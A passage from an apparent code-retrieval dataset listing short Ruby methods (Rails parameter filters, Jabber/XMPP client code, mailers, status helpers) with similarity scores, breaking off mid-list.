"def jugador_params\n params.require(:jugador).permit(:apodo, :email)\n end",
"def akceptuj_subskrypcje(jid)\n\troster.accept_subscription(jid)\n end",
"def jugadalot_params\n params.require(:jugadalot).permit(:ticket, :n1, :n2, :n3, :monto, :qpt, :sorteo, :cliente_id, :tipo_cliente, :ubicacion)\n #params.require(:jugadalot).permit! #Los permito todos los parametros si da error cancancan manana ok ted.\n end",
"def sendmsg(type, where, message, chan=nil, ring=0,plain=nil)\n #if !plain\n # p = PirateTranslator.new\n # message = p.translate(message)\n # debug \"Piratized message: #{message}\"\n #end\n super(type,where,message,chan,ring)\n end",
"def jeter( objet )\n\t\[email protected]( objet )\n\tend",
"def getNick jid\n\t\tuser = @users.read [\"nick\"], [\"jid\", jid]\n\t\tif user.count > 0\n\t\t\tuser[0]['nick']\n\t\telse\n\t\t\tnil\n\t\tend\n\tend",
"def pay_wompi\n # se revisa si el viaje tiene ya un valor y tiene un viaje asignado y el id wompi status esten vacios no se halla ya enviado a wompi\n if !self.trip.total_fee.blank? && !self.trip.nil? && self.id_wompi.blank? && self.status.blank?\n # Metodo: encargado de generar una transaccion en wompi usando el valor en pesos referencia email y telefono\n transactions_nequi_wompi(self.trip.total_fee, self.trip.id.to_s, self.trip.rider.email, self.trip.rider.phone_number)\n end\n end",
"def ajouterJeu( jeu )\n\t\t@jeu = jeu\n\t\[email protected]( self )\n\tend",
"def jid=(new_jid)\n Blather.logger.debug \"NEW JID: #{new_jid}\"\n @jid = JID.new new_jid\n end",
"def jt\n @pubmed['JT'].strip\n end",
"def jt\n @pubmed['JT'].strip\n end",
"def create\n @note = current_user.notes.build(params[:note])\n @attachids = params[:attachments].split(',')\n\n @at_users = @note.summary.scan(/@[a-zA-Z0-9_]+/)\n \n @note.summary = string_replace(3 , html_escape(@note.summary)) # repalce the string\n\n if @note.save\n @at_users.each do |at_user|\n user = User.find_by_sql(\"SELECT users.* FROM users WHERE nickname='#{at_user.from(1)}'\") #check user is exist\n if user.size == 1 #because note can not edit so the create note unexist in message table\n @message = @note.infos.create( {\n :user_id => user[0].id,\n :message => @note,\n :refer => 1\n } )\n broadcast \"/ats/new/#{@message.user_id}\", \"{ note_id: #{@note.id}, meg_type: 'at_in_note' }\"\n end\n end\n @attachids.each do |attachid|\n attach = Attachement.find(attachid)\n attach.note_id = @note.id and attach.save if not attach.nil?\n end\n\n broadcast '/notes/new', %Q/ { nickname: \"#{current_user.nickname}\", status: true } /\n\n cookies[:offset] = cookies[:offset].to_i + 1\n respond_to do |format|\n format.html { redirect_to notes_path, notice: 'Note was successfully created.' }\n format.js \n end\n else\n broadcast '/notes/new', %Q/ { status: false, errors: #{@note.errors.to_json} } /\n respond_to do |format|\n format.html { redirect_to notes_path, notice: 'Note creation was failed.' }\n format.js \n end\n end\n end",
"def getId jid\n\t\tuser = @users.read [\"id\"], [\"jid\", jid]\n\t\tif user.count > 0\n\t\t\tuser[0]['id']\n\t\telse\n\t\t\tnil\n\t\tend\n\tend",
"def tellafriend (titel, werkurl, naam, email, bericht, sender, sent_at = Time.now)\n @artwork_title, @artwork_url, @message, @receiver, @sender = titel, werkurl, bericht, naam, sender\n\n @mail_content = Intmail.find_by_id(5)\n subject = @mail_content.title.sub('<sender_username>', \"#{sender.voornaam} #{sender.achternaam}\")\n mail(to: email, bcc: '[email protected]', subject: subject)\n end",
"def jour_params\n params[:jour][:ecole_id] = ecole.id if ecole?\n params.require(:jour).permit(:libelle, :ecole_id, :user_id)\n end",
"def message_to_at_user(at_user)\n # return if self.user.id == at_user.id\n message = self.messages.build(\n is_read: false,\n user_id: at_user.id,\n from_user_id: self.user.id,\n body: \"#{self.user.uid} @了你: #{self.content}\"\n )\n message.save\n end",
"def zgloszenium_params\n params.require(:zgloszenium).permit(:imie, :nazwisko, :miasto, :adres, :telefon, :email, :data_urodzenia, :wiadomosc, :zaliczka, :oplacony, :kurs_id)\n end",
"def update\n if params[:Titlu] && params[:Catre] && params[:Mesaj]\n #UserMailer.notification_email(User.find(get_current_user.id).email,params[:Catre], params[:Titlu], params[:Mesaj]).deliver\n end\n respond_to do |format|\n if @alegeri_user_tema.update(alegeri_user_tema_params)\n format.html { redirect_to studentiiMei_path, notice: 'Cererea a fost actualizata.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @alegeri_user_tema.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @wepon.update(wepon_params)\n format.html { redirect_to @wepon, notice: '変更されました' }\n format.json { render :show, status: :ok, location: @wepon }\n else\n format.html { render :edit }\n format.json { render json: @wepon.errors, status: :unprocessable_entity }\n end\n end\n end",
"def viaje_params\n params.require(:viaje).permit(:origen, :destino, :distancia, :combustible, :Peaje, :gasto_extra)\n end",
"def uwi\n self.well_info.uwi || self.well_info.api\n end",
"def to\n JID.new(self[:to]) if self[:to]\n end",
"def set_jio\n @jio = Jio.find(params[:id])\n end",
"def initialize(jid)\n super()\n @jid = (jid.kind_of?(JID) ? jid : JID.new(jid.to_s))\n end",
"def update\n respond_to do |format|\n if @openfire_user.update(openfire_user_params)\n format.html { redirect_to @openfire_user, notice:'Le compte openfire a ete mis a jour avec success. Un mail contenant les nouvelles donnees a ete envoye a l\\'adresse mail indiquee' }\n else\n format.html { render action: 'edit' }\n end\n end\n end",
"def test_widget_type\n widget = @twizo.create_registration_widget(nil)\n widget.params.allowed_types = ['sms']\n\n test_recipient = NUMBER1\n\n widget.params.recipient = test_recipient\n\n widget = widget.send\n\n assert_equal test_recipient, widget.recipient\n assert_equal ['sms'], widget.allowedTypes\n end",
"def jugadore_params\n params.require(:jugadore).permit(:nombre, :apellido, :edad, :equipo_id)\n end",
"def connect(settings)\n myJID = JID.new(settings[:jid])\n myPassword = settings[:password]\n cl = Client.new(myJID)\n cl.connect\n cl.auth(myPassword)\n cl.send(Presence.new.set_status('I am GossBot'))\n out \"Connected as: #{myJID.strip.to_s}.\"\n return cl\nend",
"def klienci_jaskula_params\n params.require(:klienci_jaskula).permit(:imie, :nazwisko, :wiek)\n end",
"def pracownik_params\n params.require(:pracownik).permit(:ID_pracownika, :ID_rodzajprac, :imie, :nazwisko, :pesel, :data_zatrudnienia, :zarobki, :aktywny, :password, :password_confirmation)\n end",
"def odrzuc_subskrypcje(jid)\n\troster.decline_subscription(jid)\n end",
"def serialize\n {\n 'jid' => @jid,\n 'nick' => @nick,\n 'channel_name' => (@channel ? @channel.name : nil),\n }\n end",
"def connect\n\t\t# create a jabber client connection\n\t\[email protected]( JABBER_SERVER, JABBER_PORT );\n\t\[email protected](JABBER_PASSWD)\n\n\t\[email protected](Jabber::Presence.new(:chat, 'Birdbox is waiting since ' + Time.now.to_s))\n\n\t\t@jabberchatroom = Jabber::MUC::MUCClient.new(@jabberclient)\n\t\[email protected](Jabber::JID::new( JABBER_CHATROOM + '/' + @jabberclient.jid.node))\n\n\t\t# create a new message object which will be used later on\n\t\t@jabbermsg = Jabber::Message.new( JABBER_TO );\n\t\[email protected] = :chat\n\t\t@jabberReconnect = false\n\t\t@jabberRetryMessage = ''\n\tend",
"def ToCoStoiPrzyA()\n return @RownanieWielomianu.first.WspolczynnikPomocniczy\n end",
"def agencium_params\n params.require(:agencium).permit(:nombre, :mail, :contraseĮņa)\n end",
"def set_kai2_ji7\n @kai2_ji7 = Kai2Ji7.find(params[:id])\n @kai2_ji7.無齊記號 = '!'+@kai2_ji7.無齊記號\n end",
"def set_socioeduk_tipo_telefone\n @socioeduk_tipo_telefone = Socioeduk::TipoTelefone.find(params[:id])\n end",
"def motd(subject,&blk)\n msg = connection.message_stanza(:to => jid) do\n x('subject',subject)\n end\n connection.send_stanza msg, &blk\n end",
"def jugada_ordenador\n @jugada_ordenador\n end",
"def mess\r\n\t\t@usr_mess\r\n\tend",
"def send_moola!\n # @todo\n end",
"def kontrahenci_params\n params.require(:kontrahenci).permit(:system_id, :status_text_id, :nazwa, :nip, :www, :numer_tel, :numer_fak, :email, :opiekun_id)\n end",
"def set_bijou\n @bijou = Bijou.find(params[:id])\n end",
"def to_s()\r\n\t\treturn \"Demande inscription n°#{@id} : #{@expediteur},#{@motDePasse},#{@mail},#{@statutDemande},#{@message}\"\r\n\tend",
"def wydajPrzesylkeKierowcy(kierowca)\n # wybor przesylki\n # przesylka = ...wybieramy jakas\n # usuniecie tej przesylki z @przesylki\n kierowca.push(przesylka) \n end",
"def encode_workitem(wi)\n\n wi.params['participant_options'] = @options\n\n Rufus::Json.encode(wi.to_h)\n end",
"def turistum_params\n params.require(:turistum).permit(:nombre, :mail, :contraseĮņa)\n end",
"def solicitudes_atrasadas\n end",
"def initialize(client, jid, pass)\n super()\n\n @error = nil\n @receiver = @client = client\n\n self.jid = jid\n @to = self.jid.domain\n @password = pass\n end",
"def pakettipi_params\n params.require(:pakettipi).permit(:paket_tipi, :urunadi_id)\n end",
"def get_note\n note = queued_email_note\n note ? note.value.to_s : nil\n end",
"def moussaillon_params\n params.require(:moussaillon).permit(:username, :email, :bio)\n end",
"def send_data(databuf)\n if active?\n msg = Message.new\n msg.from = @my_jid\n msg.to = @peer_jid\n\n data = msg.add REXML::Element.new('data')\n data.add_namespace NS_IBB\n data.attributes['sid'] = @session_id\n data.attributes['seq'] = @seq_send.to_s\n data.text = Base64::encode64(databuf)\n\n # TODO: Implement AMP correctly\n amp = msg.add REXML::Element.new('amp')\n amp.add_namespace 'http://jabber.org/protocol/amp'\n deliver_at = amp.add REXML::Element.new('rule')\n deliver_at.attributes['condition'] = 'deliver-at'\n deliver_at.attributes['value'] = 'stored'\n deliver_at.attributes['action'] = 'error'\n match_resource = amp.add REXML::Element.new('rule')\n match_resource.attributes['condition'] = 'match-resource'\n match_resource.attributes['value'] = 'exact'\n match_resource.attributes['action'] = 'error'\n\n @stream.send(msg)\n\n @seq_send += 1\n @seq_send = 0 if @seq_send > 65535\n else\n raise 'Attempt to send data when not activated'\n end\n end",
"def full_jid\n if @resource\n \"#{jid}/#{@resource}\"\n else\n jid\n end\n end",
"def default_configuration\n iq = connection.iq_stanza({'to'=>jid.bare},\n x('pubsub',{:xmlns => EM::Xmpp::Namespaces::PubSubOwner},\n x('default')\n )\n )\n\n send_iq_stanza_fibered iq\n end",
"def encode_workitem(wi)\n wi.params['participant_options'] = @options\n Rufus::Json.encode(wi.to_h)\n end",
"def set_pingguodingshirenwu\n @pingguodingshirenwu = Pingguodingshirenwu.find(params[:id])\n end",
"def sauvegarder()\n\t\[email protected] = Header.temps\n\t\[email protected] = Header.score\n\t\[email protected] = @content[\"grille\"]\n\n\t\t## Sauvegarde la partie dans un fichier yaml au nom de l'utilisateur\n\t\[email protected] (@content[\"pseudo\"])\n\n\t\treturn self\n\tend",
"def set_wepon\n @wepon = Wepon.find(params[:id])\n end",
"def lui_params\n params.require(:lui).permit(:name, :apellido, :edad, :email, :contrasena)\n end",
"def set_jednani\n @jednani = Jednani.find(params[:id])\n end",
"def set_wypozyczeny\n @wypozyczeny = Wypozyczenie.find(params[:id])\n end",
"def set_socioeduk_tecnico_jovem\n @socioeduk_tecnico_jovem = Socioeduk::TecnicoJovem.find(params[:id])\n end",
"def sendStanza(client_info, xml)\n Thread.new{\n client = connect(client_info)#Client.new(JID.new(client_info[:id]))\n #client.connect\n #client.auth(client_info[:psword])\n #client.send(Jabber::Presence.new.set_type(:available))\n begin\n Timeout::timeout(5) {\n client.send_with_id(xml)\n puts \"Stanza sent (1)\"\n }\n rescue Exception => t\n puts t.to_s\n end\n puts \"Stanza sent (2)\"\n }\n end",
"def update\n respond_to do |format|\n if @communication.update(communication_params)\n format.html { redirect_to @communication, notice: 'Záznam komunikácie bol úspešne upravený.' }\n format.json { render :show, status: :ok, location: @communication }\n else\n format.html { render :edit }\n format.json { render json: @communication.errors, status: :unprocessable_entity }\n end\n end\n end",
"def jednani_params\n params.require(:jednani).permit(:porada_id, :tema, :obsah)\n end",
"def passeio_params\n params.require(:passeio).permit(:cachorro_1_id, :cachorro_2_id, :cachorro_3_id, :status, :data_e_hora)\n end",
"def type\n {\n '@' => :user_id,\n '!' => :room_id,\n '$' => :event_id,\n '+' => :group_id,\n '#' => :room_alias\n }[sigil]\n end",
"def type\n {\n '@' => :user_id,\n '!' => :room_id,\n '$' => :event_id,\n '+' => :group_id,\n '#' => :room_alias\n }[sigil]\n end",
"def update\n respond_to do |format|\n if @jio.update(jio_params)\n format.html { redirect_to @jio, notice: 'Jio was successfully updated.' }\n format.json { render :show, status: :ok, location: @jio }\n else\n format.html { render :edit }\n format.json { render json: @jio.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_jogador\n @jogador = get_partida.jogadors.find(params[:id])\n end",
"def bijou_params\n params.require(:bijou).permit(:name, :description)\n end"
] |
[
"0.68990713",
"0.5795355",
"0.54590344",
"0.53859085",
"0.53859085",
"0.53859085",
"0.5381387",
"0.53446615",
"0.52907526",
"0.52467257",
"0.5206537",
"0.5194017",
"0.51900524",
"0.51857686",
"0.5175732",
"0.5145756",
"0.5112902",
"0.50962496",
"0.50640935",
"0.50422305",
"0.49993923",
"0.49611428",
"0.49476716",
"0.49476716",
"0.49050266",
"0.48878017",
"0.48748577",
"0.48713085",
"0.48350036",
"0.48220393",
"0.47970062",
"0.47572193",
"0.47306606",
"0.47007138",
"0.46906787",
"0.46889752",
"0.4686025",
"0.46392512",
"0.463388",
"0.46265218",
"0.46241084",
"0.4592938",
"0.45834938",
"0.45806405",
"0.45790067",
"0.45778334",
"0.45764452",
"0.45679194",
"0.45653066",
"0.4564335",
"0.4563742",
"0.45632312",
"0.45551088",
"0.45395043",
"0.45332277",
"0.45263752",
"0.4518524",
"0.4513864",
"0.4507932",
"0.4503684",
"0.449659",
"0.44927245",
"0.4471196",
"0.44670606",
"0.44643226",
"0.4464127",
"0.44614804",
"0.4459491",
"0.44588673",
"0.44494924",
"0.44470444",
"0.4440475",
"0.44319293",
"0.44300014",
"0.4426804",
"0.4426678",
"0.44232166",
"0.44206026",
"0.44097805",
"0.44058433",
"0.4405434",
"0.4401232",
"0.43946636",
"0.43920758",
"0.43898556",
"0.43887353",
"0.4388413",
"0.43871734",
"0.43838793",
"0.4380092",
"0.4379465",
"0.43771684",
"0.43711483",
"0.43695873",
"0.43683165",
"0.43671158",
"0.43671158",
"0.43660432",
"0.43645984",
"0.4363176"
] |
0.6862407
|
1
|
Loguje uzytkownika do konta
|
def loguj(jids,haslo)
jid=JID::new(jids)
@klient=Client::new(jid)
@klient.connect
@klient.auth(haslo)
@klient.send(Presence.new.set_type(:available))
@wiadomosci_do_wyslania=Queue.new
def_callback
sleep(1)
Thread.new{
while(true)
next if @wiadomosci_do_wyslania.length<1
wiadomosci=[@wiadomosci_do_wyslania.pop]
wiadomosci.each{ |wiadomosc|
if subskryp?(JID::new(wiadomosc[:do]))
wyslij_wiadomosc(wiadomosc[:do],wiadomosc[:wiadomosc],wiadomosc[:typ])
else
@wiadomosci_do_wyslania << wiadomosc
end
}
end
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log; end",
"def log\n end",
"def autoflush_log; end",
"def autoflush_log; end",
"def logs\n end",
"def logs\n\n end",
"def log=(log); end",
"def log()\n @log\n end",
"def loggin_opc(puser, pcontroller, paction, pcomment)\n #para que no haga logging de clicks de navegacion\n if pcontroller == 'home'\n\t\treturn\n else\n\t logmodel = Logeclubapi.new\n\t logmodel.login = puser.login\n\t logmodel.username = puser.name\n\t logmodel.log_option = pcontroller\n\t logmodel.log_action = paction[0..9]\n\t logmodel.log_comment = pcomment\n\t logmodel.origin = 'W' #origen web\n\t #logmodel.save\n end\n end",
"def log\n @log\n end",
"def logger ; @log end",
"def autoflush_log=(_arg0); end",
"def autoflush_log=(_arg0); end",
"def log_user_event\n depositor.log_event(event)\n end",
"def log(*args)\n timestamp = \"[\" + Time.now.inspect + \"] \"\n STDOUT.print timestamp + \"@#{@username}: \" + args.map(&:to_s).join(' ') + \"\\n\"\n STDOUT.flush\n end",
"def log_registration\n if request.post? # === POST: ===\n log_action(\n \"new User signed-up!\",\n \"Params: #{remove_passwords( params ).inspect}\\r\\n\\r\\nUpdated users total: #{User.count}\\r\\n\\r\\nCurrent user instance: #{current_user.inspect}\"\n )\n elsif request.delete? # === DELETE: ===\n log_action(\n \"existing User deleted!\",\n \"Params: #{remove_passwords( params ).inspect}\\r\\n\\r\\nUpdated users total: #{User.count}\\r\\n\\r\\nCurrent user instance: #{current_user.inspect}\"\n )\n end\n end",
"def log(*args); end",
"def add_to_log\n user_name = self.user.name || self.user.email.split('@')[0]\n Log.create!(loggingtype: 2,user_id_1: self.user.id ,user_id_2: nil,admin_id: nil,story_id: self.story.id ,interest_id: nil,message: (user_name+\" commented on \\\"\" + self.story.title + \"\\\" with \\\"\" + self.content + \"\\\"\").to_s )\n Admin.push_notifications \"/admins/index\" ,\"\"\n end",
"def log(msg)\n Serv::Log.info(Time.now.to_s+': '+msg+\"\\n\")\n end",
"def log_event(params)\n puts \"Log Details:\"\n puts \"<====================>\"\n puts \"Event Type: #{params['event']}\"\n puts \"Recepient: #{params['recipient']}\"\n puts \"City: #{params['city']}\"\n puts \"Country: #{params['country']}\"\n puts \"Client Type: #{params['client-type']}\"\n puts \"Client Name: #{params['client-name']}\"\n puts \"Device Type: #{params['device-type']}\"\n puts \"Client OS: #{params['client-os']}\"\n puts \"Url Clicked: #{params['url']}\" if params['event'] == \"clicked\"\n puts \"Logged at: #{Time.at(params['timestamp'].to_i).utc.to_datetime}\"\n puts \"<====================>\"\n end",
"def logged?; false end",
"def logged?; false end",
"def logall(user)\n self.changes.each do |key, value|\n if key != \"updated_at\" then\n name = self.class.name + \" #{key}\"\n \n logthis(user, name, self.id, value[0], value[1])\n end\n end\n end",
"def log\n Lita.logger\n end",
"def log\n parametros = {}\n parametros['action'] = params['action']\n parametros['controller'] = params['controller']\n parametros['fecha'] = Time.zone.now\n parametros['token'] = false\n puts parametros\n log = Log.create(parametros)\n\n # parametros['usuario'] = revisar_token()\n parametros['token'] = true\n log.update(parametros)\n end",
"def log(*_args)\n end",
"def log_e\n log\n exit\n end",
"def log_writer; end",
"def request_log(request); end",
"def save_log(description, action, owner_user_id)\n Log.save_log(description, action, owner_user_id, me.id)\n end",
"def log(message); logger.info(message); end",
"def do_log( msg )\n log( msg )\n end",
"def logger_output; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logger; end",
"def logthis(input)\n\t\[email protected]\n\t\tfile = File.open('./serverlog','a')\n\t\twrite = \"#{Time.now}\\t#{input}\\n\"\n\t\tfile.write(write)\n\t\tputs write\n\t\[email protected]\n\tend",
"def log_transaction\n repo.log_action(user_name: @user.user_name, context: @context.context, route_url: @context.route_url)\n end",
"def log_message(message)\r\n @log.log_message(message)\r\n end",
"def log\n advanced[:log]\n end",
"def Auditlog( mo, msg )\n auditEntry = Audit.new\n auditEntry.message = \"#{mo} #{caller[0][/`.*'/][1..-2]} #{msg.inspect}\"\n #auditEntry.origin = ip\n auditEntry.origin = request.remote_ip\n auditEntry.user = !current_user.nil? ? current_user.email : 'no-user'\n auditEntry.datetime = DateTime.now\n\n if !auditEntry.save\n _auditLog.info \"#{user} #{ip} #{caller[0][/`.*'/][1..-2]} #{msg.inspect}\"\n end\n\n end",
"def history_log (event, options={})\n fname= \"#{self.class.name}.#{__method__}\"\n source = options.delete(:source) || @current_user.login\n #LOG.debug (fname){\"history_log:source=#{source}\"}\n \t#LOG.debug (fname){\"history_log:options=#{options}\"}\n Ruote::Sylrplm::HistoryEntry.log!(source, event, options)\n end",
"def log_input\n File.open('./log/ultimo_registro.txt', 'w+') do |f| \n f.puts Time.now.strftime(\"%Y%m%d-%H:%M\").to_s\n end \n end",
"def error_log\n end",
"def error_log\n end",
"def error_log\n end",
"def log(log)\n post(formatter.call(log, self), log.time.strftime(@logging_path))\n end",
"def log \n @log #||= Log.create\n end",
"def log\r\n false\r\n end",
"def log_stuff\r\n log.info(\"TestLogger is here to log stuff.\")\r\n log.warn(\"TestLogger is finishged logging. Be careful.\")\r\n end",
"def log_user_event\n\n depositor.log_profile_event(event)\n end",
"def log=(logger); end",
"def add_in_logfile(date, adresse, utilisateur_id, description)\n fichier = \"app/../log/logs.txt\"\n if File.exist?(fichier)\n mode = 'a'\n check_logfile_size(fichier)\n else\n mode = 'w'\n end\n open(fichier, mode) { |f|\n f << \"DATE : #{date}\\n\"\n f << \"ADRESSE : #{adresse}\\n\"\n f << \"UTILISATEUR_ID : #{utilisateur_id}\\n\"\n f << \"DESCRIPTION : #{description}\\n\"\n f << \"========================================\\n\"\n }\n end",
"def log(message)\n puts message\n end",
"def log msg\n puts \"U:Service: #{msg}\"\n end",
"def logging_prefs; end",
"def log(msg)\n if $settings[:log]\n $settings[:log].write(Time.now.inspect + \" \" + msg + \"\\n\")\n $settings[:log].flush\n end\nend",
"def log \n\t\t\tArrow::Logger[ self.class ]\n\t\tend",
"def log_user_event\n depositor.log_event( event ) if depositor.respond_to? :log_event\n end",
"def log=(_arg0); end",
"def log=(_arg0); end",
"def log=(_arg0); end",
"def trace_log!\n Merb.logger.auto_flush = true\n end",
"def log(text)\n puts text\n end",
"def log_event(event, params)\n end",
"def log(msg, feeds = nil)\n open(\"#{RAILS_ROOT}/log/updatr.log\", \"a\") { |io|\n io.puts \"#{Time.now.strftime(\"%d-%m-%y %H:%M\")} — #{msg}\"\n }\n\nend",
"def log_user_event\n depositor.log_profile_event(event)\n end",
"def log(event)\n log_file.puts(event.to_json)\n end",
"def log_file\n end",
"def log_file; end",
"def log (msg, **kwargs) Log.write(msg, :info, kwargs) end",
"def log_file\n Vedeu::Configuration.log\n end",
"def result_log\n end",
"def result_log\n end",
"def result_log\n end",
"def log(msg)\n puts msg\n end",
"def log(msg)\n\t\tSyslog.info(msg) if @verbose\n\tend",
"def log_event(info = nil)\n if current_user\n action = \"#{controller_name}/#{action_name}\"\n log = ActivityLog.new(user: current_user, action: action, info: info)\n log.save\n end\n end"
] |
[
"0.70531243",
"0.70531243",
"0.70531243",
"0.70531243",
"0.70531243",
"0.70531243",
"0.70531243",
"0.70531243",
"0.7034735",
"0.6691827",
"0.6691827",
"0.6642658",
"0.6562899",
"0.6464248",
"0.6454762",
"0.63565636",
"0.6295509",
"0.626751",
"0.6260704",
"0.6260704",
"0.62519246",
"0.6217245",
"0.6202329",
"0.62004",
"0.61955607",
"0.6192855",
"0.6191837",
"0.61866456",
"0.61866456",
"0.61691636",
"0.6140757",
"0.613457",
"0.6115299",
"0.6111701",
"0.6106338",
"0.6094664",
"0.60941654",
"0.60936826",
"0.6087163",
"0.6075899",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6072568",
"0.6051317",
"0.60240954",
"0.6022148",
"0.60023",
"0.5977254",
"0.597094",
"0.59699625",
"0.5961792",
"0.5961792",
"0.5961792",
"0.59517527",
"0.5951452",
"0.5949551",
"0.5940023",
"0.5936975",
"0.59281087",
"0.59279084",
"0.59270793",
"0.59102964",
"0.59063613",
"0.5892906",
"0.58887213",
"0.58865064",
"0.5883817",
"0.5883817",
"0.5883817",
"0.5879226",
"0.5878143",
"0.58693594",
"0.58670694",
"0.58640885",
"0.5862001",
"0.58604777",
"0.5858962",
"0.585879",
"0.5856821",
"0.58531666",
"0.58531666",
"0.58531666",
"0.58491963",
"0.5820601",
"0.58168817"
] |
0.0
|
-1
|
Zmienia status uzytkownika status [String] status do zmiany opis [String] opis do ustawienia Mozliwe statusy do ustawienia nil Dostepny :away Zaraz wracam :chat Pogadam :dnd Nie przeszkadzac :xa Nieosiagalny :unavailable Niedostepny
|
def zmien_status(status,opis)
@status=status
@opis=opis
stat=Presence.new(@status,@opis)
wyslij(stat)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def status\n if caberawit?\n 'caberawit'\n elsif praremaja?\n 'praremaja'\n elsif remaja?\n 'remaja'\n elsif dewasa?\n 'dewasa'\n end\n end",
"def status\t\n\t\t# a = [\"test1: test,\n\t\t# \ttest2: test2\"]\n\t\t# \tputs a.join(\\n)\n\t\tidentitas_motor = [\"Merk #{@merk}\", \"milik #{@milik}\" , \"tahun #{@tahun}\" , \"type #{@type}\",\n\t\t\t\t\t\t\t\t\t\t\t\t\"kecepatan 60 km/jam\", \" bensin #{@bensin || @bensin_awal} Liter\" ,\n\t\t\t\t\t\t\t\t\t\t\t\t\"jarak tempuh #{@jarak || @jarak_awal }km\" , \" waktu tempuh #{@jam || @jam_awal} jam\"]\n\t\tputs identitas_motor.join(\"\\n\")\n\tend",
"def estatus_w\n case self.estatus\n when 'S'\n I18n.t('Sistema.Body.Modelos.Prestamo.Estatus.en_solicitud')\n when 'D'\n I18n.t('Sistema.Body.Modelos.Prestamo.Estatus.en_espera_por_desembolsos')\n when 'V'\n I18n.t('Sistema.Body.Modelos.Prestamo.Estatus.vigente')\n when 'E'\n I18n.t('Sistema.Body.Modelos.Prestamo.Estatus.vencido')\n when 'F'\n I18n.t('Sistema.Body.Modelos.Prestamo.Estatus.cancelado_reestructuracion') #Reestructuración Financiera\n when 'A'\n I18n.t('Sistema.Body.Modelos.Prestamo.Estatus.cancelado_ampliacion') #Reestructuración Financiera\n when 'L'\n I18n.t('Sistema.Body.Modelos.Prestamo.Estatus.litigio')\n when 'C'\n I18n.t('Sistema.Body.Modelos.Prestamo.Estatus.cancelado')\n when 'P'\n I18n.t('Sistema.Body.Modelos.Prestamo.Estatus.vigente') # En el periodo de gracia de la mora\n when 'J'\n I18n.t('Sistema.Body.Modelos.Prestamo.Estatus.consultoria_juridica') # Condición especial incluida para reestructuracion\n when 'H'\n I18n.t('Sistema.Body.Modelos.Prestamo.Estatus.vigente_demorado')\n when 'K'\n I18n.t('Sistema.Body.Modelos.Prestamo.Estatus.castigado')\n end\n end",
"def list_status\n if self.available_on.nil?\n nil\n elsif self.tba?\n 'TBA'\n elsif self.upcoming?\n 'Upcoming'\n elsif self.new?\n 'New'\n elsif self.recent?\n 'Recent'\n elsif self.backlist?\n 'Backlist'\n else\n nil\n end\n end",
"def friendly_status\n\n case self.status\n when \"no response\"\n \"You have not responded\"\n when \"reserve\"\n \"Reserved\"\n when \"decline\"\n \"Declined\"\n else\n \"Unknown\"\n end\n\n end",
"def status\r\n case status_id\r\n when 1; \"Sending\"\r\n when 2; \"Sent\"\r\n when 3; \"Bounced\"\r\n when 4; \"Opened\"\r\n when 5; \"Downloaded\"\r\n when 6; \"Send Failed\"\r\n else; \"Processing\"\r\n end\r\n end",
"def status_type_char; end",
"def status_string\n if waiting_confirmation?\n return \"À confirmer\"\n elsif confirmed?\n return \"Confirmé\"\n elsif forgiven?\n return \"Pardonné\"\n else\n return \"Rejeté\"\n end\n end",
"def status_str\n case self.status\n when ACTIVE\n \"Active\"\n when INACTIVE\n \"Inactive\"\n when CLOSED\n \"Closed\"\n when NO_STRIPE\n \"No Stripe Account\"\n when UNKNOWN\n \"Unknown\"\n else\n \"Invalid\"\n end\n end",
"def status\n if status_code.present?\n if status_code['HL7 ActStatus']\n status_code['HL7 ActStatus'].first()\n elsif status_code['SNOMED-CT']\n case status_code['SNOMED-CT'].first()\n when '55561003'\n 'active'\n when '73425007'\n 'inactive'\n when '413322009' \n 'resolved'\n end\n end\n end\n end",
"def status_label\n absentee? || uocava? ? 'Absentee Status' : 'Voter Status'\n end",
"def status_string\n case status\n when APPROVED_STATUS\n \"approved\"\n when REJECTED_STATUS\n \"rejected\"\n when REMOVED_STATUS\n \"removed\"\n when PENDING_STATUS\n \"pending\"\n else\n \"error\"\n end\n end",
"def statuses; end",
"def order_status(order_status)\n stat_name = ''\n if order_status == 'deliver'\n stat_name = 'Entregada'\n elsif order_status == 'in_route'\n stat_name = 'Reparto'\n elsif order_status == 'rejected'\n stat_name = 'Rechazada'\n elsif order_status == 'pending'\n stat_name = 'Pendiente'\n elsif order_status.nil?\n stat_name = 'No tiene estado'\n end\n stat_name\n end",
"def status\n ActiveSupport::StringInquirer.new(self[:status] || \"\")\n end",
"def status\r\n if @status == \"paid\"\r\n :completed\r\n elsif @tatus == \"refused\"\r\n :refused\r\n else\r\n :pending_payment\r\n end\r\n end",
"def status\n case @status\n when 0 then :off\n when 1 then :on\n end\n end",
